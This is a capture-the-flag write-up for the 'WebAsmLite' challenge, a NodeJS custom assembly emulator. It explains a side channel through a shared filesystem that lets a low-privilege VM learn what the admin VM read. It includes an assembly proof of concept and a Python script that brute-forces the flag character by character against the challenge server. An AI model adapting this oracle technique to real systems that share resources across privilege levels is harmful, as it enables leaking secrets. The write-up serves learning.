バイェ先生

Challenge 7a - WebAsmLite

Mar 22, 20256 min read

Writeup

Finally got some time off to do the writeup for this fella, apologies for the delay!

YAS! Another web application, which is preferably one of my favourites. But truth be told, when i saw the title, i was expecting myself to get screwed whenever i see the letters ‘Asm’. Anyway, when loading the webapp we’re presented with a simple NodeJS web application that looks like this:

— image here —

As part of the challenge, we’re also provided with the Dockerfile and source code, which comprises of 3 files:

  • smolvm.js (nodejs implementation on the core implementation of registers, memory layout and the assembly instructions)
  • server.js (server-side logic of the web application)
  • logic.js (which is the main nodeJS file to launch the application, handles the routes etc)

Since it’s mainly a web implementation of the Assembly Language, it’s vital that we understand how it is being implemented by inspecting the smolvm.js file (which is a mini emulator for a custom assembly instruction set), and this is what we can infer:

  • Memory layout is 64-byte unsigned integer
  • Architecture uses 8 1-byte unsigned integer registers

  • Data manipulation / arithmetic instructions that we are familiar with (e.g LOAD, MOV, ADD, SUB etc) are implemented.

  • Code conditionals JZ (Jump if Zero) and JNZ (Jump if Not Zero) are also implemented.

  • The only two special assembly instructions designed are the following:
    • READ - reads a file within the SMOLVM environment and loads it into memory (only up to 32 bytes in length), provided if the user running the instruction is authorised to do so (verification is done in the fs.readFile() function)
    • WRITE - writes a file within the SMOLVM environment based on the user parameter passed into the fs.createFile() function.

Looking through server.js, we can also see that there are two nodeJS API routes:

  • /submitdevjob - running the set of assembly code in the context of user ‘noobsteve’, who is a low-privileged user (privilege level 1)

  • /requestadmin - running the set of assembly code in the context of two users: User ‘noobsteve’ (privilege level 1) and User ‘goodestboy’ (privilege level 42).
    • Note: This is the only function that has the flag being created.

Based on the source code for the /requestadmin function, we can also deduce the following sequence of steps:

  • A filesystem is created using SMOLFS() and the flag.txt file is created inside the filesystem (note that only the adminuser ‘goodestboy’ can access that file).
  • The ‘adminVM’ and ‘userVM’ environments are created (and executed sequentially) to run the same submitted assembly instructions, however both environments are sharing the same filesystem that contains the flag.
  • In addition, after running the instructions, the app will only output the results of the memory and registers in the context of the publicuser ‘noobsteve’ (results of running the instructions in adminVM is redacted).

Regardless of which API route to use, there is absolutely no way to run assembly instructions in the context of the adminuser. So what needs to be done here? Well there was something that I found quite interesting about the READ instruction:

As we can see that if the READ instruction of a file fails, register 0’s value will be set to -1 (or in this case 255 because the registers are unsigned integers). What if we could use this to our advantage?

So the following PoC was created to verify if we are able to determine if the first letter of the flag (which is ‘T’) using this behaviour:

# First half of the assembly code is meant for the admin user

READ:flag.txt;      # loads the flag.txt file onto memory
IMM:0:84;           # setting register 0 to value 84 (or ascii 'T') => register 0 will be used as the comparator
IMM:2:32;           # setting register 2 to value 32 (memory slot 32, which points to the first char of the flag in flag.txt)
LOAD:3:2;           # load contents of memory slot 32 to register 3
JZ:3:6;             # if register 3 is 0, jump over 6 instructions (if the flag.txt file cannot be read, jump straight to the subroutine meant for the public user).
SUB:3:3:0;          # substitute the comparator and the character file to see if the result is 0
JZ:3:2;             # if register 3 is 0, jump over 2 instructions to write a file called ascii84.txt into the filesystem, else stop the program.
HALT;           
WRITE:ascii84.txt;  # this is proof of evidence to say that a match is found.
HALT;

# second half is for the public user
# IMM and STORE instructions are to load the text 'BAE' on memory (to reset the first 3 registers for cleanup purposes)
IMM:0:66; 
IMM:1:65;
IMM:2:69;
IMM:3:32;
IMM:4:33;
IMM:5:34;
STORE:0:3;
STORE:1:4;  
STORE:2:5;
# if the file does not exist, this means the public user can create the file, write data and display its contents on memory.

# if the file exists (created by admin user), public user cannot write to the file, and when user attempts to read the file, register 0 will be set to 255 (we're using this behaviour to determine a +ve match)
WRITE:ascii84.txt;
READ:ascii84.txt;

So with this PoC working when it comes to identifying the letter T, this instruction can be modified to cater to the other characters of the flag. What’s neat about this is that because it is a web application, you can easily code this out using Python. And here’s the code:

#!/usr/bin/python3
 
import requests, json
 
TEST_URL = "http://localhost:3000"
PROD_URL = "http://chals.tisc24.ctf.sg:50128"
 
URL = PROD_URL
 
admin_req_uri = "/requestadmin"
 
flag = []
 
for j in range(32,64):
    for i in range(32,128):
        webasm_instr = "READ:flag.txt;IMM:0:"+str(i)+";IMM:2:"+str(j)+";LOAD:3:2;JZ:3:6;SUB:3:3:0;JZ:3:2;HALT;WRITE:ascii"+str(i)+".txt;HALT;IMM:0:66;IMM:1:65;IMM:2:69;IMM:3:32;IMM:4:33;IMM:5:34;STORE:0:3;STORE:1:4;STORE:2:5;WRITE:ascii"+str(i)+".txt;READ:ascii"+str(i)+".txt;"
        
        data = { "prgmstr":webasm_instr }
        r = requests.post(URL+admin_req_uri,data=data)
 
        json_resp = json.loads(r.text)
 
        outcome = (json_resp['userResult']['vm_state']['reg']).split(',')[0]
 
        if outcome == "255":
            flag.append(chr(int(i)))
            break
 
print("Final Flag: "+ ''.join(flag))

And here it is, the flag:

Thoughts

Personally i think this is quite a refreshing web application to be honest, because many would think web applications are more of the typical OWASP Top 10 and stuff. But for this challenge (and tisc24_challenge_2), it’s pretty cool to incorporate different areas and using the web application as a means to interact with such implementations.

Although, what would be cooler for this challenge is if there’s a way to achieve some form of remote command execution (RCE) within the SMOLVM object (i mean there’s already a filesystem for it, so why not create a web-based shell interface)? Or better still, instead of having actual READ/WRITE instructions, make it in such a way that the participants could do assembly related stuff like executing Linux x86 syscall-like instructions? I think that would be somewhat damn slick to do (hmm maybe i could redesign this, but maybe with the challenge creator’s permission of course).

But yeah it’s quite worthy to be of a challenge 7a standard :)

Graph View

Backlinks